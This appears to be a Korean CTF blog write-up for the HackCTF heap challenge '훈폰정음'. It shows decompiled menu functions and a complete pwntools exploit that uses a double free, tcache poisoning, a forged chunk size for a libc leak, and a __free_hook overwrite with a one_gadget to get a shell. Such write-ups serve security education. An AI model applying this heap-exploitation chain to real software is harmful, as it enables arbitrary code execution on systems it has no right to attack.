Pwnable/hackCTF

훈폰정음

Writeup


File information


Code

Main


int __cdecl main(int argc, const char **argv, const char **envp){  alarm(0x3Cu);  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts(asc_11C0);
  while ( 1 )
  {
    menu();
    switch ( off_1214 )
    {
      case 1u:
        add();
        break;
      case 2u:
        edit();
        break;
      case 3u:
        delete();
        break;
      case 4u:
        check();
        break;
      case 5u:
        exit(0);
        return;
      default:
        puts(&byte_11FB);
        break;
    }
  }
}
  • Main함수는 다음과 같은 역할을 한다.
    • menu함수 호출
    • menu -> smooth -> get_read -> read를 통하여 입력받은 값으로 1~5번까지 각각의 함수 호출

 

add


int add(){
  int result; // eax
  signed int index; // [rsp+Ch] [rbp-4h]

  puts(&byte_FF6);                            
  result = smooth();
  index = result;
  while ( index >= 0 && index <= 6 )
  {
    if ( table[index] )
      return puts(&byte_1018);
    puts(&byte_1042);                         
    size[index] = smooth();
    if ( (size[index] & 0x80000000) == 0 && size[index] <= 1024 )
    {
      table[index] = malloc(size[index]);
      if ( !table[index] )
        return puts(&byte_107F);
      puts(&byte_1098);                       
      return get_read(table[index], size[index]);
    }
    result = puts(&byte_1060);
  }
  return result;
}
  • add함수는 다음과 같은 역할을 한다.
    • index가 0~6 값인지와 해당index의 table이 비어있는지 확인 후 size를 입력받는다.
      • size는 1024 까지 입력 가능한다.
        • 이는 tcache가 허용 가능한 크기가 있어 제한을 걸어둔 것 같다.
    • 입력받은 size만큼 동적 할당을 한 후 해당 index의 table에 저장한다.
    • 입력받은 size만큼 데이터 입력을 받는다.

 

edit


int edit(){
  int index; // eax
  int v1; // [rsp+8h] [rbp-8h]

  puts(&byte_FF6);                              
  index = smooth();
  v1 = index;
  if ( index >= 0 && index <= 6 )
  {
    if ( table[index] )
    {
      puts(&byte_10D8);
      if ( get_read(table[v1], size[v1]) )
        index = puts(&byte_1100);
      else
        index = puts(&byte_1119);
    }
    else
    {
      index = puts(&byte_10B8);
    }
  }
  return index;
}
  • edit함수는 다음과 같은 역할을 한다.
    • index를 입력받고 해당 index의 size와 table을 이용하여 데이터를 입력받는다.

 

delete


int delete(){
  int result; // eax
  int v1; // eax
  signed int index; // [rsp+Ch] [rbp-4h]

  puts(&byte_FF6);
  result = smooth();
  index = result;
  while ( index >= 0 && index <= 6 )
  {
    if ( !table[index] )
      return puts(&byte_1138);
    v1 = count--;
    if ( v1 )
    {
      free(table[index]);
      return puts(&byte_1157);
    }
    result = puts(&byte_1168);
  }
  return result;
}
  • delete함수는 다음과 같은 역할을 한다.
    • index를 입력받고 해당 index의 table을 free 해준다.
    • count로 free함수 호출 횟수를 제한한다.
      • tcache_entry 꽉 채워 unsorted bin을 만들지 못하도록 free횟수를 제한

 

check

int check()
{
  int index; // eax
​
  puts(&byte_FF6);
  index = smooth();
  if ( index >= 0 && index <= 6 )
  {
    if ( table[index] )
      index = printf(&byte_119C, table[index]);
    else
      index = puts(&byte_1138);
  }
  return index;
}
  • check함수는 다음과 같은 역할을 한다.
    • index를 입력받아 해당 index의 table을 출력한다.

 

Exploit

이 문제는 tcache를 피하여 unsorted bin의 즉 라이브러리 영역의 주소를 leak 하는 것이 관건인 문제이다.

unsorted bin을 만드는 조건은 두 가지 있다.

  1. 7개의 tcache_entry를 꽉 채워 unsorted bin을 사용하도록 한다.
  2. tcache에서 허용하지 않는 크기(0x408)를 해제하여 unsorted bin을 사용하도록 한다.

코드상 허용하지 않는 크기를 할당하거나 tcache_entry를 꽉채워 공격을 진행하기에는 불가능하지만 tcache poisoning을 이용하여 할당된 chunk의 size를 바꾸어 해제하는 것으로 해결하도록 한다.

exploit code

from pwn import *
​
# context.log_level = 'debug'
p=remote("ctf.j0n9hyun.xyz",3041)
libc = ELF("./libc-2.27.so")
def add(index,size,data):
    p.sendlineafter(">>", str(1))
    p.sendlineafter(":",str(index))
    p.sendlineafter(":",str(size))
    p.sendafter(":",data)
​
def edit(index,data):
    p.sendlineafter(">>", str(2))
    p.sendlineafter(":",str(index))
    p.sendafter(":",data)
​
def delete(index):
    p.sendlineafter(">>", str(3))
    p.sendlineafter(":",str(index))
​
def check(index):
    p.sendlineafter(">>", str(4))
    p.sendlineafter(":",str(index))
​
​
add(0,100,"A")
delete(0)
delete(0)
check(0)
p.recvuntil(":")
leak_chunk = u64(p.recvn(6).ljust(8,'\x00'))
fake = leak_chunk - 8
edit(0,p64(fake))
​
add(1,100,"B")
add(2,100,p64(0x421)) # make fake chunk
add(3,1024,p64(0x11)*(1024/8))
​
delete(0)
check(0)
​
leak_libc = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
malloc_hook = leak_libc - 0x70 #0x70 = 0x60((main_arena+96) = unsroted bin) + 0x10
malloc_off = libc.symbols['__malloc_hook']
libc_base = malloc_hook - malloc_off
free_off = libc.symbols['__free_hook']
free_hook = libc_base + free_off
​
one_off = 0x4f322 # 0x10a38c # 0x4f322
one_gadget = libc_base + one_off
​
add(4,30,"C")
delete(4)
delete(4)
edit(4,p64(free_hook))
​
​
add(5,30,"D")
add(6,30,p64(one_gadget))
​
delete(5)
p.interactive()

'Pwnable > hackCTF' 카테고리의 다른 글

babyfsb (64bit fsb)  (0) 2020.03.23
you_are_silver (64bit fsb)  (0) 2020.03.21
풍수지리설  (2) 2020.03.04
HackCTF UAF  (2) 2020.01.23
HackCTF Beginner_Heap  (0) 2020.01.22